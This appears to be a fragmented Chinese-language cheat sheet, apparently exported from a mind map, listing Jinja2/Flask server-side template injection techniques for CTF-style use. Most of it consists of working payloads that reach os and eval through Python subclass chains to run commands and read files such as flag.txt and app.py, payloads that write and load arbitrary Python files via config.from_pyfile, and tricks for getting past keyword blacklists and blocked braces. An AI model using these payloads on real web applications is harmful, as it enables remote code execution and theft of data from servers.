
(<class 'site._Printer'>, 72)
(<class 'site.Quitter'>, 77)

py3和py2都能用

go

files

method

GET

POST

INPUT

HEAD

DELETE

Jinja2模板注入

常见情况

产生原因

文件读取

命令执行

常用payload

 ().__class__.__base__.__subclasses__()[40]('filename').readlines()

 ().__class__.__bases__[1].__subclasses__()[40]('filename').readlines()

 ().__class__.__mro__[1].__subclasses__()[40]('filename').readlines()

常用payload

().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami')

().__class__.__mro__[1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')

os

__builtins__

_frozen_importlib._ModuleLock

常用payload ().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

查看所有类 {{().__class__.__mro__[1].__subclasses__() }}

查看所有类中含__builtins__模块的

{{().__class__.__mro__[1].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

{% for s in ().__class__.__mro__[1].__subclasses__() %}{% if '__builtins__' in 
s.__init__.__globals__ %}{{ s.__init__.__globals__['__builtins__']['eval']
("__import__('os').popen('ls /').read()")}}<hr>{% endif %}{% endfor %}

jinja2 内置对象

config

在服务器运行时执行任意python代码

{{request.__class__.__mro__[8].__subclasses__()[40]
(request.args.file,request.args.write).write(request.args.payload)}}
{{config.from_pyfile(request.args.file)}}&file=/tmp/
foo.py&write=w&payload=print(123)

可以用 [] 返回一个对象的属性
"abc"["__class__"]

返回 <type 'str'>

相当于 "abc".__class__

request["__class__"] {{request[request.args.param]}}?param=__class__

|attr 
结构

foo|attr("peach") 相当于 foo.peach

|attr("foo.peach") 相当于 foo.peach

功能 获取一个对象的属性

|join

结构

[1,2,3]|join(".")
1.2.3

["__","class","__"]|join() __class__

["__","class","__"]|join __class__

功能 连接成字符串

(1,2,3)|join(".")
1.2.3

可以是 tuple

可以是 list

request

args

getlist
结构 {{request.args.getlist("a")}}?a=1&a=2&a=3 返回[1,2,3]

功能 把名字一样的参数组成一个list {{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_ 返回 字符串 __class__

|format
结构 "%sclass%s"|format("__","__")

功能 按format返回一个字符串

返回 __class__

在debug console 打印123

cookie

结构 request.cookies

功能 返回一个list，里面是cookie

可以直接 request.cookies.hello调用

headers

结构 request.headers

功能 返回http request header

environ
功能

结构 request.environ

values
功能 返回get和post的所有参数

结构 reques.values

python2

warnings.catch_warnings

functools.singledispatchmethod

一般功能 得到 get 的参数
request.args.<name>

如果过滤 {{}}  
就不能将表达式打印到 模板中

可以用 {%%}  进行盲注 if <codition> 如果 condition 为 True ，status_code 应该为200

form 一般功能 得到 post 的参数
request.form.<name>

eval

open

__import__

绕过 blacklist 字符拼接
"imp"+"ort"

"o"+"s"

内置

flask 内置全局函数
url_for

jinja2 内置全局函数

get_flashed_messages

特性

特性 有 __globals__

有 __globals__

range

lipsum

dict

特性 有 __globals__

有 os

有 os

有 os

jinja2 内置类 Undefined 内涵 调用不存在的类的方法不会报错

load_module _frozen_importlib.BuiltinImporter {{().__class__.__base__.__subclasses__()[80]["load_module"]("os").system("ls")}}

get_data _frozen_importlib_external.FileLoader {{().__class__.__base__.__subclasses__()[91].get_data(0, "app.py")}}

file

<class 'click.utils.LazyFile'> {{().__class__.__base__.__subclasses__().__getitem__(475)('flag.txt').read()}}

<class 'click.utils.LazyFile'> {{().__class__.__base__.__subclasses__().__getitem__(475).__init__.__globals__['os'].popen('ls').read()}}

lipsum {{lipsum.__globals__['os']}}

url_for {{url_for.__globals__['os']}}

get_flashed_messages {{get_flashed_messages.__globals__['os']}}

模板中可以添加 {{ codes }} 或 {% codes %}篡改模板

改字符串

改文件

python3 中没有 file类

可用函数

有 __builtins__ 的类

tricks

API

|int 

request.args.get("name")

request.form.get("name")

结构 request.method

功能 返回 http 方法

结构 request.files

功能


